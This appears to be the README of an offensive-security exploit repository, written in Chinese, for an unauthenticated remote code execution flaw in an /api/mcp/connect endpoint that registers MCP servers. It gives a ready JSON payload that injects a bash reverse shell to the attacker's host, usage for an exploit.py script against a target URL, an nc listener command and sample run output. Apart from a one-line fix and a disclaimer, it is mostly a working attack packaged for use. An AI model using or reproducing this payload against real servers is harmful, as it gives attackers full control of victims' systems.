⚠️ 免责声明: 本仓库仅用于教育和安全研究目的。在未经明确授权的情况下对系统使用此漏洞利用程序是非法的。作者不对滥用此代码的行为承担任何责任。
该漏洞位于 /api/mcp/connect 端点,允许未认证的攻击者注册一个带有恶意配置的任意 MCP(模型上下文协议)服务器。由于 command 字段及其 args 参数缺乏验证和清理,攻击者可以注入操作系统命令,这些命令将以 Web 进程的权限直接在服务器上执行。
这会导致远程代码执行(RCE),可被利用来在受攻击的系统上获取反向 shell。
| 字段 | 详情 |
|---|
| 类型 | 远程代码执行(RCE) |
| 攻击向量 | 网络(无需认证的 HTTP POST) |
| 端点 | /api/mcp/connect |
| 严重性 | 🔴 严重 |
| 认证 | 不需要 |
| 影响 | 完全控制服务器 |
{
"serverId": "shell1",
"serverConfig": {
"command": "bash",
"args": ["-c", "bash -i >& /dev/tcp/<LHOST>/443 0>&1"],
"env": {}
}
}
服务器处理此配置并调用带有指定参数的 bash 命令,从而与攻击者建立反向 TCP 连接。
pip install requests termcolor
python3 exploit.py -l <你的IP> -u <目标URL>
| 参数 | 描述 | 示例 |
|---|---|---|
-l | 你的 IP(用于接收 shell) | 192.168.1.50 |
-u | 目标的基础 URL | https://victim.com |
终端 1 — 监听器:
nc -nlvp 443
终端 2 — 漏洞利用:
python3 exploit.py -l 192.168.1.50 -u https://victim.com
[-] 请在另一个终端中执行以下命令:
[+] nc -nlvp 443
[-] 命令执行完成后按 'Enter' 键...
[+] 正在发送攻击请求...
请求发送后,端口 443 上的监听器将收到来自受攻击服务器的反向连接,并获得交互式 shell。
/api/mcp/connect 中的请求体之前,验证并清理所有字段。.
├── exploit.py # 漏洞利用主脚本
└── README.md # 本文件
由 Jorge Arana Fedriani 为进攻性安全研究目的而开发。